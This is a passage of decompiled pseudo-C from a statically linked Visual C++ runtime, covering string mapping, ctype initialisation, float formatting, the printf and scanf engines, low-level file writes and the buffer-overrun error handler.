3] && *v4 ) ++v4; v5 = v4; while ( *v4 ) { if ( (unsigned __int8)(1 << (*v4 & 7)) & (unsigned __int8)map[(unsigned int)(unsigned __int8)*v4 >> 3] ) { *v4++ = 0; break; } ++v4; } ptd->_token = v4; return (char *)(v5 != v4 ? (int)v5 : 0); } //----- (0060463F) -------------------------------------------------------- int __cdecl __crtLCMapStringA(unsigned int Locale, unsigned int dwMapFlags, const char *lpSrcStr, int cchSrc, char *lpDestStr, int cchDest, int code_page, int bError) { int v8; // ecx@7 const char *v9; // eax@7 int v10; // edi@15 int v11; // esi@17 void *v12; // esp@18 int v13; // eax@22 void *v14; // esp@27 char *v16; // edi@40 int v17; // eax@44 void *v18; // eax@47 int v19; // eax@48 void *v20; // esp@49 void *v21; // eax@50 size_t v22; // esi@53 char *v23; // [sp-10h] [bp-68h]@32 int v24; // [sp-Ch] [bp-64h]@32 int v25; // [sp+0h] [bp-58h]@18 size_t ret; // [sp+Ch] [bp-4Ch]@55 int *cbuffer1; // [sp+10h] [bp-48h]@49 int AnsiCP; // [sp+14h] [bp-44h]@44 int malloc_flag1; // [sp+18h] [bp-40h]@40 int v30; // [sp+1Ch] [bp-3Ch]@15 int malloc_flag2; // [sp+20h] [bp-38h]@15 int inbuff_size; // [sp+24h] [bp-34h]@17 void *cbuffer2; // [sp+28h] [bp-30h]@40 int retval; // [sp+2Ch] [bp-2Ch]@15 void *cbuffer; // [sp+30h] [bp-28h]@40 size_t buff_size; // [sp+34h] [bp-24h]@48 LPCWSTR outwbuffer; // [sp+38h] [bp-20h]@27 LPWSTR inwbuffer; // [sp+3Ch] [bp-1Ch]@18 CPPEH_RECORD ms_exc; // [sp+40h] [bp-18h]@18 if ( !f_use_0 ) { if ( LCMapStringW(0, 0x100u, &SrcStr, 1, 0, 0) ) { f_use_0 = 1; } else { if ( GetLastError() == 120 ) f_use_0 = 2; } } if ( cchSrc > 0 ) { v8 = cchSrc; v9 = lpSrcStr; while ( 1 ) { --v8; if ( !*v9 ) break; ++v9; if ( !v8 ) { v8 = -1; break; } } cchSrc += -1 - v8; } if ( f_use_0 != 2 && f_use_0 ) { if ( f_use_0 == 1 ) { v10 = 0; retval = 0; v30 = 0; malloc_flag2 = 0; if ( !code_page ) code_page = __lc_codepage; v11 = MultiByteToWideChar(code_page, 8 * (bError != 0) + 1, lpSrcStr, cchSrc, 0, 0); inbuff_size = v11; if ( v11 ) { v12 = alloca(2 * v11); ms_exc.old_esp = (DWORD)&v25; inwbuffer = (LPWSTR)&v25; ms_exc.disabled = -1; if ( &v25 ) { LABEL_21: if ( MultiByteToWideChar(code_page, 1u, lpSrcStr, cchSrc, inwbuffer, v11) ) { v13 = LCMapStringW(Locale, dwMapFlags, inwbuffer, v11, 0, 0); v10 = v13; retval = v13; if ( v13 ) { if ( BYTE1(dwMapFlags) & 4 ) { if ( cchDest && v13 <= cchDest ) LCMapStringW(Locale, dwMapFlags, inwbuffer, v11, (LPWSTR)lpDestStr, cchDest); goto error_cleanup; } v14 = alloca(2 * v13); ms_exc.old_esp = (DWORD)&v25; outwbuffer = (LPCWSTR)&v25; ms_exc.disabled = -1; if ( &v25 ) { LABEL_30: if ( LCMapStringW(Locale, dwMapFlags, inwbuffer, v11, (LPWSTR)outwbuffer, v10) ) { if ( cchDest ) { v24 = cchDest; v23 = lpDestStr; } else { v24 = 0; v23 = 0; } v10 = WideCharToMultiByte(code_page, 0, outwbuffer, v10, v23, v24, 0, 0); } goto error_cleanup; } outwbuffer = (LPCWSTR)malloc(2 * v13); if ( outwbuffer ) { malloc_flag2 = 1; goto LABEL_30; } } } error_cleanup: if ( malloc_flag2 ) free((void *)outwbuffer); if ( v30 ) free(inwbuffer); return v10; } inwbuffer = (LPWSTR)malloc(2 * v11); if ( inwbuffer ) { v30 = 1; goto LABEL_21; } } } return 0; } cbuffer = 0; v16 = 0; cbuffer2 = 0; malloc_flag1 = 0; if ( !Locale ) Locale = dword_1535F97C; if ( !code_page ) code_page = __lc_codepage; v17 = __ansicp(Locale); AnsiCP = v17; if ( v17 == -1 ) return 0; if ( v17 != code_page ) { v18 = __convertcp(code_page, v17, lpSrcStr, &cchSrc, 0, 0); cbuffer = v18; if ( !v18 ) return 0; v19 = LCMapStringA(Locale, dwMapFlags, (LPCSTR)v18, cchSrc, 0, 0); buff_size = v19; if ( v19 ) { ms_exc.disabled = 0; v20 = alloca(v19); ms_exc.old_esp = (DWORD)&v25; v16 = (char *)&v25; cbuffer1 = &v25; memset(&v25, 0, v19); ms_exc.disabled = -1; if ( !&v25 ) { v21 = malloc(buff_size); v16 = (char *)v21; if ( !v21 ) { LABEL_53: v22 = 0; goto cleanupA; } memset(v21, 0, buff_size); malloc_flag1 = 1; } buff_size = LCMapStringA(Locale, dwMapFlags, (LPCSTR)cbuffer, cchSrc, v16, buff_size); if ( !buff_size ) goto LABEL_53; cbuffer2 = __convertcp(AnsiCP, code_page, v16, (int *)&buff_size, lpDestStr, cchDest); v22 = cbuffer2 != 0 ? buff_size : 0; } else { v22 = ret; } cleanupA: if ( malloc_flag1 ) free(v16); goto LABEL_59; } v22 = LCMapStringA(Locale, dwMapFlags, lpSrcStr, cchSrc, lpDestStr, cchDest); LABEL_59: if ( cbuffer ) free(cbuffer); if ( cbuffer2 && lpDestStr != cbuffer2 ) free(cbuffer2); return v22; } //----- (00604A15) -------------------------------------------------------- const unsigned __int16 *__cdecl __pctype_func() { return _pctype; } //----- (00604A1B) -------------------------------------------------------- int __cdecl __init_ctype() { void *v0; // eax@4 void *v1; // ebx@4 void *v2; // esi@4 void *v3; // eax@4 signed int v4; // eax@7 char *v5; // eax@13 int v6; // edx@14 int v7; // ecx@15 unsigned __int16 *v8; // ebx@19 char *v9; // eax@22 signed int v10; // ecx@24 int v11; // edx@25 int v12; // esi@29 void *newctype1; // [sp+10h] [bp-24h]@0 void *refcount; // [sp+14h] [bp-20h]@0 const char *cbuffer; // [sp+18h] [bp-1Ch]@1 struct _cpinfo lpCPInfo; // [sp+1Ch] [bp-18h]@9 unsigned int v18; // [sp+30h] [bp-4h]@1 int v19; // [sp+34h] [bp+0h]@1 v18 = (unsigned int)&v19 ^ __security_cookie; cbuffer = 0; if ( dword_1535F97C ) { if ( !__lc_codepage && __getlocaleinfo(0, (unsigned __int16)word_1535F9A4, 0x1004u, &__lc_codepage) ) { v2 = newctype1; } else { v0 = malloc(4u); v1 = v0; refcount = v0; v2 = malloc(0x300u); v3 = malloc(0x101u); cbuffer = (const char *)v3; if ( v1 ) { if ( v2 ) { if ( v3 ) { *(_DWORD *)v1 = 0; v4 = 0; do { cbuffer[v4] = v4; ++v4; } while ( v4 < 256 ); if ( GetCPInfo(__lc_codepage, &lpCPInfo) && lpCPInfo.MaxCharSize <= 5 ) { __mb_cur_max = (unsigned __int16)lpCPInfo.MaxCharSize; if ( (signed int)(unsigned __int16)lpCPInfo.MaxCharSize > 1 && lpCPInfo.LeadByte[0] ) { v5 = &lpCPInfo.LeadByte[1]; do { LOBYTE(v6) = *v5; if ( !*v5 ) break; v7 = (unsigned __int8)*(v5 - 1); v6 = (unsigned __int8)v6; while ( v7 <= v6 ) { cbuffer[v7] = 0; v6 = (unsigned __int8)*v5; ++v7; } v5 += 2; } while ( *(v5 - 1) ); } v8 = (unsigned __int16 *)((char *)v2 + 256); if ( __crtGetStringTypeA(1u, cbuffer, 256, (unsigned __int16 *)v2 + 128, 0, 0, 0) ) { *((_WORD *)v2 + 127) = 0; if ( (signed int)__mb_cur_max > 1 && lpCPInfo.LeadByte[0] ) { v9 = &lpCPInfo.LeadByte[1]; do { if ( !*v9 ) break; v10 = (unsigned __int8)*(v9 - 1); if ( v10 <= (unsigned __int8)*v9 ) { v11 = (int)((char *)v2 + 2 * v10 + 256); do { *(_WORD *)v11 = -32768; ++v10; v11 += 2; } while ( v10 <= (unsigned __int8)*v9 ); v8 = (unsigned __int16 *)((char *)v2 + 256); } v9 += 2; } while ( *(v9 - 1) ); } memcpy((char *)v2, (char *)v2 + 512, 0xFEu); _pctype = v8; __ctype1_refcount = (int)refcount; __ctype1 = (int)((char *)v2 + 254); v12 = 0; goto LABEL_30; } } } } } } free(refcount); free(v2); v12 = 1; LABEL_30: free((void *)cbuffer); return v12; } _pctype = L" ((((( H"; __ctype1_refcount = 0; __ctype1 = 0; return 0; } // 68A5A0: using guessed type wchar_t asc_68A5A0[33]; // 1535F9A4: using guessed type __int16 word_1535F9A4; // 1535FE80: using guessed type int __ctype1; // 1535FE84: using guessed type int __ctype1_refcount; //----- (00605AC9) -------------------------------------------------------- void __cdecl _inconsistency() { if ( __pInconsistency ) { __pInconsistency(); JUMPOUT(*(int *)unk_605AE4); } terminate(); } // 605AE4: using guessed type void __cdecl(); // 6B7948: using guessed type void (__cdecl *__pInconsistency)(); //----- (00605CF6) -------------------------------------------------------- char *__cdecl _cftoe(long double *pvalue, char *buf, int ndec, int caps) { _strflt retstrflt; // [sp+8h] [bp-2Ch]@1 char resstr[22]; // [sp+18h] [bp-1Ch]@1 unsigned int v7; // [sp+30h] [bp-4h]@1 int v8; // [sp+34h] [bp+0h]@1 v7 = (unsigned int)&v8 ^ __security_cookie; _fltout2(*(DOUBLE *)pvalue, &retstrflt, resstr); _fptostr(&buf[retstrflt.sign == 45] + (ndec > 0), ndec + 1, &retstrflt); cftoe2(buf, ndec, caps, &retstrflt, 0); return buf; } //----- (00605E02) -------------------------------------------------------- char *__cdecl _cftof(long double *pvalue, char *buf, int ndec) { int retstrflt; // [sp+8h] [bp-2Ch]@1 int v5; // [sp+Ch] [bp-28h]@1 char resstr[22]; // [sp+18h] [bp-1Ch]@1 unsigned int v7; // [sp+30h] [bp-4h]@1 int v8; // [sp+34h] [bp+0h]@1 v7 = (unsigned int)&v8 ^ __security_cookie; _fltout2(*(DOUBLE *)pvalue, (_strflt *)&retstrflt, resstr); _fptostr(&buf[retstrflt == 45], ndec + v5, (_strflt *)&retstrflt); cftof2(buf, ndec, (_strflt *)&retstrflt, 0); return buf; } //----- (00605E69) -------------------------------------------------------- char *__cdecl _cftog(long double *pvalue, char *buf, int ndec, int caps) { int v4; // esi@1 char *v5; // edi@1 char v6; // al@4 char *result; // eax@6 int retstrflt; // [sp+Ch] [bp-2Ch]@1 int v9; // [sp+10h] [bp-28h]@1 char resstr[22]; // [sp+1Ch] [bp-1Ch]@1 unsigned int v11; // [sp+34h] [bp-4h]@1 int v12; // [sp+38h] [bp+0h]@1 v11 = (unsigned int)&v12 ^ __security_cookie; _fltout2(*(DOUBLE *)pvalue, (_strflt *)&retstrflt, resstr); v4 = v9 - 1; v5 = &buf[retstrflt == 45]; _fptostr(v5, ndec, (_strflt *)&retstrflt); if ( v9 - 1 < -4 || v9 - 1 >= ndec ) { result = cftoe2(buf, ndec, caps, (_strflt *)&retstrflt, 1); } else { if ( v4 < v9 - 1 ) { do v6 = *v5++; while ( v6 ); *(v5 - 2) = 0; } result = cftof2(buf, ndec, (_strflt *)&retstrflt, 1); } return result; } //----- (006061F1) -------------------------------------------------------- int __cdecl _output(_iobuf *stream, const char *format, char *argptr) { char v3; // bl@1 int v4; // ecx@1 const char *v5; // edi@2 int v6; // edi@4 int v7; // eax@7 char v8; // al@37 signed int v9; // ecx@63 int v10; // eax@65 char *v11; // eax@68 char *v12; // esi@70 __int64 v13; // qax@83 int v14; // eax@86 char *v15; // ecx@87 signed int v16; // eax@88 void *v17; // eax@98 int v18; // ecx@101 char *j; // eax@117 int v20; // eax@128 unsigned int v21; // ebx@143 unsigned int v22; // edi@143 char *i; // esi@151 int v24; // eax@152 unsigned __int64 v25; // ST04_8@154 unsigned __int64 v26; // qcx@154 signed int v27; // ecx@154 char *v28; // eax@157 char *v29; // esi@157 char v30; // bl@163 int v31; // esi@171 char *v32; // ebx@178 int v33; // eax@179 int tmp; // [sp+4h] [bp-80h]@101 int v36; // [sp+8h] [bp-7Ch]@101 unsigned int count; // [sp+10h] [bp-74h]@154 int state; // [sp+14h] [bp-70h]@3 char *capexp; // [sp+18h] [bp-6Ch]@10 int hexadd; // [sp+1Ch] [bp-68h]@110 int no_output; // [sp+20h] [bp-64h]@10 void *heapbuf; // [sp+24h] [bp-60h]@1 int bufferiswide; // [sp+28h] [bp-5Ch]@10 int fldwidth; // [sp+2Ch] [bp-58h]@10 FILE *f; // [sp+30h] [bp-54h]@1 int v46; // [sp+34h] [bp-50h]@1 int prefixlen; // [sp+38h] [bp-4Ch]@10 char prefix; // [sp+3Ch] [bp-48h]@125 char v49; // [sp+3Dh] [bp-47h]@125 int charsout; // [sp+40h] [bp-44h]@1 unsigned int radix; // [sp+44h] [bp-40h]@1 $519E2A0ABDBAFFC353FD5D86715BA24D text; // [sp+48h] [bp-3Ch]@65 int precision; // [sp+4Ch] [bp-38h]@10 char *v54; // [sp+50h] [bp-34h]@1 int flags; // [sp+54h] [bp-30h]@10 char buffer; // [sp+58h] [bp-2Ch]@70 int v57; // [sp+84h] [bp+0h]@1 char v58; // [sp+257h] [bp+1D3h]@151 char string; // [sp+258h] [bp+1D4h]@179 unsigned int v60; // [sp+260h] [bp+1DCh]@1 v60 = (unsigned int)&v57 ^ __security_cookie; f = stream; v3 = *format; v54 = argptr; v4 = 0; v46 = (int)format; radix = 0; charsout = 0; heapbuf = 0; if ( v3 ) { v5 = format; while ( 1 ) { v6 = (int)(v5 + 1); v46 = v6; if ( charsout < 0 ) return charsout; if ( v3 < 32 || v3 > 120 ) v7 = 0; else v7 = aIsprocessorfea[v3 + 24] & 0xF; state = *(&__lookuptable[8 * v7] + v4) >> 4; switch ( state ) { case 1: precision = -1; capexp = 0; no_output = 0; fldwidth = 0; prefixlen = 0; flags = 0; bufferiswide = 0; goto LABEL_187; case 2: switch ( v3 ) { case 32: flags |= 2u; break; case 35: LOBYTE(flags) = flags | 0x80; break; case 43: flags |= 1u; break; case 45: flags |= 4u; break; case 48: flags |= 8u; break; } goto LABEL_187; case 3: if ( v3 == 42 ) { v54 += 4; fldwidth = *((_DWORD *)v54 - 1); if ( fldwidth < 0 ) { flags |= 4u; fldwidth = -fldwidth; } } else { fldwidth = v3 + 10 * fldwidth - 48; } goto LABEL_187; case 4: precision = 0; goto LABEL_187; case 5: if ( v3 == 42 ) { v54 += 4; precision = *((_DWORD *)v54 - 1); if ( precision < 0 ) precision = -1; } else { precision = v3 + 10 * precision - 48; } goto LABEL_187; case 6: switch ( v3 ) { case 73: v8 = *(_BYTE *)v6; if ( *(_BYTE *)v6 != 54 || *(_BYTE *)(v6 + 1) != 52 ) { if ( v8 != 51 || *(_BYTE *)(v6 + 1) != 50 ) { if ( v8 != 100 && v8 != 105 && v8 != 111 && v8 != 117 && v8 != 120 && v8 != 88 ) { state = 0; NORMAL_STATE: bufferiswide = 0; if ( HIBYTE(_pctype[(unsigned __int8)v3]) & 0x80 ) { write_char(v3, f, &charsout); v3 = *(_BYTE *)v6; v46 = v6 + 1; } write_char(v3, f, &charsout); } } else { BYTE1(flags) &= 0x7Fu; v46 = v6 + 2; } } else { BYTE1(flags) |= 0x80u; v46 = v6 + 2; } break; case 104: flags |= 0x20u; break; case 108: flags |= 0x10u; break; case 119: BYTE1(flags) |= 8u; break; } goto LABEL_187; case 0: goto NORMAL_STATE; case 7: if ( v3 > 103 ) { if ( v3 == 105 ) goto LABEL_80; if ( v3 == 110 ) { v54 += 4; v20 = *((_DWORD *)v54 - 1); if ( flags & 0x20 ) *(_WORD *)v20 = charsout; else *(_DWORD *)v20 = charsout; no_output = 1; goto LABEL_185; } if ( v3 == 111 ) { radix = 8; if ( flags & 0x80 ) BYTE1(flags) |= 2u; } else { if ( v3 == 112 ) { precision = 8; LABEL_123: hexadd = 7; } else { if ( v3 == 115 ) goto LABEL_63; if ( v3 == 117 ) goto LABEL_81; if ( v3 != 120 ) goto LABEL_162; hexadd = 39; } radix = 16; if ( flags & 0x80 ) { prefix = 48; v49 = hexadd + 81; prefixlen = 2; } } COMMON_INT: if ( flags & 0x8000 ) { v13 = *(_QWORD *)v54; v54 += 8; } else { v54 += 4; if ( flags & 0x20 ) { if ( flags & 0x40 ) LODWORD(v13) = *((_WORD *)v54 - 2); else LODWORD(v13) = *((_WORD *)v54 - 2); } else { LODWORD(v13) = *((_DWORD *)v54 - 1); if ( !(flags & 0x40) ) { HIDWORD(v13) = 0; goto LABEL_139; } } v13 = (signed int)v13; } LABEL_139: if ( flags & 0x40 && SHIDWORD(v13) <= 0 && SHIDWORD(v13) < 0 ) { v13 = -v13; BYTE1(flags) |= 1u; } v22 = HIDWORD(v13); v21 = v13; if ( !(flags & 0x8000) ) v22 = 0; if ( precision >= 0 ) { flags &= 0xFFFFFFF7u; if ( precision > 512 ) precision = 512; } else { precision = 1; } if ( !(v22 | (unsigned int)v13) ) prefixlen = 0; for ( i = &v58; ; --i ) { v24 = precision--; if ( v24 <= 0 ) { if ( !(v22 | v21) ) break; } v25 = __PAIR__(v22, v21); v26 = __PAIR__(v22, v21) % (signed int)radix; v27 = v26 + 48; count = HIDWORD(v26); v22 = v25 / (signed int)radix >> 32; v21 = v25 / (signed int)radix; if ( v27 > 57 ) LOBYTE(v27) = hexadd + v27; *i = v27; } v28 = (char *)(&v58 - i); v29 = i + 1; radix = (unsigned int)v28; text.sz = v29; if ( BYTE1(flags) & 2 && (*v29 != 48 || !v28) ) { --text.sz; *text.sz = 48; v16 = (signed int)(v28 + 1); goto LABEL_161; } goto LABEL_162; } if ( v3 >= 101 ) goto LABEL_70; if ( v3 > 88 ) { if ( v3 == 90 ) { v54 += 4; v14 = *((_DWORD *)v54 - 1); if ( v14 && (v15 = *(char **)(v14 + 4)) != 0 ) { v16 = *(_WORD *)v14; text.sz = v15; if ( BYTE1(flags) & 8 ) { v16 /= 2; bufferiswide = 1; } else { bufferiswide = 0; } } else { text.sz = (char *)__nullstring; v16 = strlen(__nullstring); } goto LABEL_161; } if ( v3 == 99 ) goto LABEL_74; if ( v3 != 100 ) goto LABEL_162; LABEL_80: flags |= 0x40u; LABEL_81: radix = 10; goto COMMON_INT; } if ( v3 == 88 ) goto LABEL_123; if ( v3 == 67 ) { if ( !(flags & 0x830) ) BYTE1(flags) |= 8u; LABEL_74: v54 += 4; if ( flags & 0x810 ) { radix = wctomb(&buffer, *((_WORD *)v54 - 2)); if ( (radix & 0x80000000u) != 0 ) no_output = 1; } else { buffer = *(v54 - 4); radix = 1; } text.sz = &buffer; goto LABEL_162; } if ( v3 == 69 || v3 == 71 ) { capexp = (char *)1; v3 += 32; LABEL_70: flags |= 0x40u; v12 = &buffer; text.sz = &buffer; if ( precision >= 0 ) { if ( precision ) { if ( precision > 512 ) precision = 512; if ( precision > 163 ) { v17 = malloc(precision + 349); heapbuf = v17; if ( v17 ) { text.sz = (char *)v17; v12 = (char *)v17; } else { precision = 163; } } } else { if ( v3 == 103 ) precision = 1; } } else { precision = 6; } v18 = *(_DWORD *)v54; v54 += 8; v36 = *((_DWORD *)v54 - 1); tmp = v18; _cfltcvt_tab(&tmp, v12, v3, precision, capexp); JUMPOUT(*(int *)loc_606646); } if ( v3 == 83 ) { if ( !(flags & 0x830) ) BYTE1(flags) |= 8u; LABEL_63: v9 = precision; if ( precision == -1 ) v9 = 2147483647; v54 += 4; v10 = *((_DWORD *)v54 - 1); text.sz = (char *)*((_DWORD *)v54 - 1); if ( flags & 0x810 ) { if ( !v10 ) text.sz = (char *)__wnullstring; v11 = text.sz; bufferiswide = 1; while ( v9 ) { --v9; if ( !*(_WORD *)v11 ) break; v11 += 2; } v16 = (signed int)(v11 - text.sz) >> 1; } else { if ( !v10 ) text.sz = (char *)__nullstring; for ( j = text.sz; ; ++j ) { if ( v9 ) { --v9; if ( *j ) continue; } break; } v16 = j - text.sz; } LABEL_161: radix = v16; } LABEL_162: if ( no_output ) goto LABEL_185; v30 = flags; if ( !(flags & 0x40) ) goto LABEL_171; if ( BYTE1(flags) & 1 ) { prefix = 45; LABEL_170: prefixlen = 1; goto LABEL_171; } if ( flags & 1 ) { prefix = 43; goto LABEL_170; } if ( flags & 2 ) { prefix = 32; goto LABEL_170; } LABEL_171: v31 = fldwidth - prefixlen - radix; if ( !(flags & 0xC) ) write_multi_char(32, fldwidth - prefixlen - radix, f, &charsout); write_string(&prefix, prefixlen, f, &charsout); if ( v30 & 8 && !(v30 & 4) ) write_multi_char(48, v31, f, &charsout); if ( bufferiswide && (signed int)radix > 0 ) { v32 = text.sz; count = radix; do { --count; v33 = wctomb(&string, *(_WORD *)v32); v32 += 2; if ( v33 <= 0 ) break; write_string(&string, v33, f, &charsout); } while ( count ); } else { write_string(text.sz, radix, f, &charsout); } if ( flags & 4 ) write_multi_char(32, v31, f, &charsout); LABEL_185: if ( heapbuf ) { free(heapbuf); heapbuf = 0; } LABEL_187: v5 = (const char *)v46; v3 = *(_BYTE *)v46; if ( !*(_BYTE *)v46 ) return charsout; v4 = state; break; default: goto LABEL_187; } } } return charsout; } // 606646: using guessed type int __cdecl(int stream, int format, int argptr); // 6B7950: using guessed type int (__cdecl *_cfltcvt_tab)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD); //----- (00606A13) -------------------------------------------------------- void __cdecl __security_error_handler(int code, void *data) { const char *v2; // edi@4 signed int v3; // esi@4 char *v4; // ebx@8 void *v5; // esp@10 char v6; // [sp-21h] [bp-155h]@9 int v7; // [sp+0h] [bp-134h]@10 char *msgtext; // [sp+Ch] [bp-128h]@4 CHAR progname; // [sp+10h] [bp-124h]@6 char v10; // [sp+114h] [bp-20h]@6 unsigned int v11; // [sp+118h] [bp-1Ch]@1 CPPEH_RECORD ms_exc; // [sp+11Ch] [bp-18h]@2 int v13; // [sp+134h] [bp+0h]@1 v11 = (unsigned int)&v13 ^ __security_cookie; if ( user_handler ) { user_handler(code, data); ms_exc.disabled = -1; } else { if ( code == 1 ) { v2 = "Buffer overrun detected!"; msgtext = "A buffer overrun has been detected which has corrupted the program's\ninternal state. The program cannot safely continue execution and must\nnow be terminated.\n"; v3 = 185; } else { v2 = "Unknown security failure detected!"; msgtext = "A security error of unknown cause has been detected which has\ncorrupted the program's internal state. The program cannot safely\ncontinue execution and must now be terminated.\n"; v3 = 212; } v10 = 0; if ( !GetModuleFileNameA(0, &progname, 0x104u) ) strcpy(&progname, ""); v4 = &progname; if ( strlen(&progname) + 11 > 0x3C ) { v4 = &v6 + strlen(&progname); strncpy(v4, "...", 3u); } v5 = alloca(strlen(v4) + v3 + 12); ms_exc.old_esp = (DWORD)&v7; strcpy((char *)&v7, v2); strcat((char *)&v7, "\n\n"); strcat((char *)&v7, "Program: "); strcat((char *)&v7, v4); strcat((char *)&v7, "\n\n"); strcat((char *)&v7, msgtext); __crtMessageBoxA((const char *)&v7, "Microsoft Visual C++ Runtime Library", 0x12010u); } _exit(3); } //----- (006075F0) -------------------------------------------------------- int __cdecl __CxxSetUnhandledExceptionFilter() { pOldExceptFilter = SetUnhandledExceptionFilter(__CxxUnhandledExceptionFilter); return 0; } //----- (00607603) -------------------------------------------------------- LPTOP_LEVEL_EXCEPTION_FILTER __cdecl __CxxRestoreUnhandledExceptionFilter() { return SetUnhandledExceptionFilter(pOldExceptFilter); } //----- (0060784A) -------------------------------------------------------- int __cdecl _write_lk(int fh, const void *buf, unsigned int cnt) { unsigned int v3; // ecx@1 const void *v4; // edi@1 int v6; // esi@3 int v7; // eax@5 unsigned int v8; // ecx@9 int v9; // eax@9 const void *v10; // edx@11 char v11; // dl@11 int v12; // edi@14 DWORD written; // [sp+4h] [bp-80h]@14 const void *v14; // [sp+8h] [bp-7Ch]@1 int lfcount; // [sp+Ch] [bp-78h]@1 int charcount; // [sp+10h] [bp-74h]@1 const void *p; // [sp+14h] [bp-70h]@6 unsigned int v18; // [sp+18h] [bp-6Ch]@9 unsigned int dosretval; // [sp+1Ch] [bp-68h]@6 char lfbuf[1025]; // [sp+20h] [bp-64h]@1 unsigned int v21; // [sp+424h] [bp+3A0h]@1 v3 = 0; v4 = buf; v21 = (unsigned int)&lfbuf[100] ^ __security_cookie; v14 = buf; charcount = 0; lfcount = 0; if ( !cnt ) return 0; v6 = 36 * (fh & 0x1F); if ( *(_BYTE *)(__pioinfo[fh >> 5] + v6 + 4) & 0x20 ) { _lseeki64_lk(fh, 0i64, 2); v3 = 0; } v7 = v6 + __pioinfo[fh >> 5]; if ( *(_BYTE *)(v7 + 4) & 0x80 ) { p = buf; dosretval = v3; if ( cnt <= v3 ) goto LABEL_27; while ( 1 ) { v18 = v3; v8 = p - v14; v9 = (int)lfbuf; do { if ( v8 >= cnt ) break; v10 = p; p = (char *)p + 1; v11 = *(_BYTE *)v10; ++v8; if ( v11 == 10 ) { ++lfcount; *(_BYTE *)v9++ = 13; ++v18; } *(_BYTE *)v9++ = v11; ++v18; } while ( (signed int)v18 < 1024 ); v12 = v9 - (_DWORD)lfbuf; if ( !WriteFile(*(HANDLE *)(__pioinfo[fh >> 5] + v6), lfbuf, v9 - (_DWORD)lfbuf, &written, 0) ) break; charcount += written; if ( (signed int)written < v12 || p - v14 >= cnt ) goto LABEL_21; v3 = 0; } } else { if ( WriteFile(*(HANDLE *)v7, buf, cnt, &written, (LPOVERLAPPED)v3) ) { dosretval = 0; charcount = written; goto LABEL_21; } } dosretval = GetLastError(); LABEL_21: if ( !charcount ) { if ( dosretval ) { if ( dosretval == 5 ) { *_errno() = 9; *__doserrno() = 5; } else { _dosmaperr(dosretval); } return -1; } v4 = v14; LABEL_27: if ( *(_BYTE *)(__pioinfo[fh >> 5] + v6 + 4) & 0x40 && *(_BYTE *)v4 == 26 ) return 0; *_errno() = 28; *__doserrno() = 0; return -1; } return charcount - lfcount; } // 1535FB20: using guessed type int __pioinfo[]; //----- (00607A06) -------------------------------------------------------- int __cdecl _write(int fh, const void *buf, unsigned int cnt) { int v3; // esi@2 int result; // eax@6 if ( fh < _nhandle && (v3 = 36 * (fh & 0x1F), *(_BYTE *)(__pioinfo[fh >> 5] + v3 + 4) & 1) ) { _lock_fhandle(fh); if ( *(_BYTE *)(__pioinfo[fh >> 5] + v3 + 4) & 1 ) { _write_lk(fh, buf, cnt); } else { *_errno() = 9; *__doserrno() = 0; } _unlock_fhandle(fh); } else { *_errno() = 9; *__doserrno() = 0; result = -1; } return result; } // 1535FB20: using guessed type int __pioinfo[]; //----- (00607BFA) -------------------------------------------------------- int __cdecl _input(_iobuf *stream, const char *format, char *arglist) { int v3; // edi@1 int v4; // esi@6 const char *v5; // edi@12 int v6; // esi@13 signed int v7; // ebx@14 const char v8; // cl@23 void *v9; // ebx@45 const char v10; // al@48 int v11; // esi@51 int v12; // esi@54 int v13; // eax@67 int v14; // ebx@70 char *v15; // esi@72 int v16; // ebx@72 _iobuf *v17; // edi@75 int v18; // eax@80 int v19; // eax@84 int v20; // eax@86 int v21; // eax@92 int v22; // eax@93 int v23; // eax@96 int v24; // eax@98 void *v25; // edi@114 int v26; // eax@117 signed int v27; // eax@118 bool v28; // zf@138 int v29; // edi@143 void *v30; // ebx@145 void *v31; // esp@146 char v32; // dl@149 unsigned __int8 v33; // cl@152 char v34; // al@154 unsigned int v35; // esi@157 char v36; // al@162 int v37; // eax@171 int v38; // ebx@263 int v39; // eax@263 int v40; // eax@265 int v41; // ecx@265 int result; // eax@277 int v43; // [sp-20h] [bp-214h]@146 __int64 v44; // [sp-10h] [bp-204h]@214 int v45; // [sp-Ch] [bp-200h]@106 signed __int64 v46; // [sp-8h] [bp-1FCh]@214 signed int v47; // [sp-4h] [bp-1F8h]@10 void *arglistsave; // [sp+Ch] [bp-1E8h]@45 int malloc_flag; // [sp+10h] [bp-1E4h]@1 int scanptr; // [sp+14h] [bp-1E0h]@143 int v51; // [sp+18h] [bp-1DCh]@157 wchar_t wctemp; // [sp+1Ch] [bp-1D8h]@131 void *v53; // [sp+20h] [bp-1D4h]@1 int integer64; // [sp+24h] [bp-1D0h]@13 char temp; // [sp+28h] [bp-1CCh]@129 char v56; // [sp+29h] [bp-1CBh]@130 void *table; // [sp+2Ch] [bp-1C8h]@1 int comchr; // [sp+30h] [bp-1C4h]@51 int count; // [sp+34h] [bp-1C0h]@1 int widthset; // [sp+38h] [bp-1BCh]@13 void *pointer; // [sp+3Ch] [bp-1B8h]@1 char reject; // [sp+43h] [bp-1B1h]@13 __int64 num64; // [sp+44h] [bp-1B0h]@25 int number; // [sp+4Ch] [bp-1A8h]@13 char prevchar; // [sp+53h] [bp-1A1h]@13 int started; // [sp+54h] [bp-1A0h]@13 const char *v67; // [sp+58h] [bp-19Ch]@1 char negative; // [sp+5Dh] [bp-197h]@13 char fl_wchar_arg; // [sp+5Eh] [bp-196h]@13 char match; // [sp+5Fh] [bp-195h]@1 FILE *fileptr; // [sp+60h] [bp-194h]@1 int c; // [sp+64h] [bp-190h]@1 char longone; // [sp+69h] [bp-18Bh]@13 char suppress; // [sp+6Ah] [bp-18Ah]@13 char widechar; // [sp+6Bh] [bp-189h]@13 int width; // [sp+6Ch] [bp-188h]@13 int charcount; // [sp+70h] [bp-184h]@1 char done_flag; // [sp+77h] [bp-17Dh]@13 char floatstring; // [sp+78h] [bp-17Ch]@72 char v80; // [sp+79h] [bp-17Bh]@73 unsigned int v81; // [sp+1D8h] [bp-1Ch]@1 CPPEH_RECORD ms_exc; // [sp+1DCh] [bp-18h]@146 int v83; // [sp+1F4h] [bp+0h]@1 v81 = (unsigned int)&v83 ^ __security_cookie; fileptr = stream; v3 = (int)format; v67 = format; v53 = arglist; table = 0; malloc_flag = 0; pointer = 0; c = 0; match = 0; charcount = 0; count = 0; while ( 1 ) { LABEL_3: if ( !*(_BYTE *)v3 ) goto error_return_0; if ( !isspace(*(_BYTE *)v3) ) break; --charcount; do { ++charcount; v4 = inc(fileptr); } while ( isspace(v4) ); if ( v4 != -1 ) 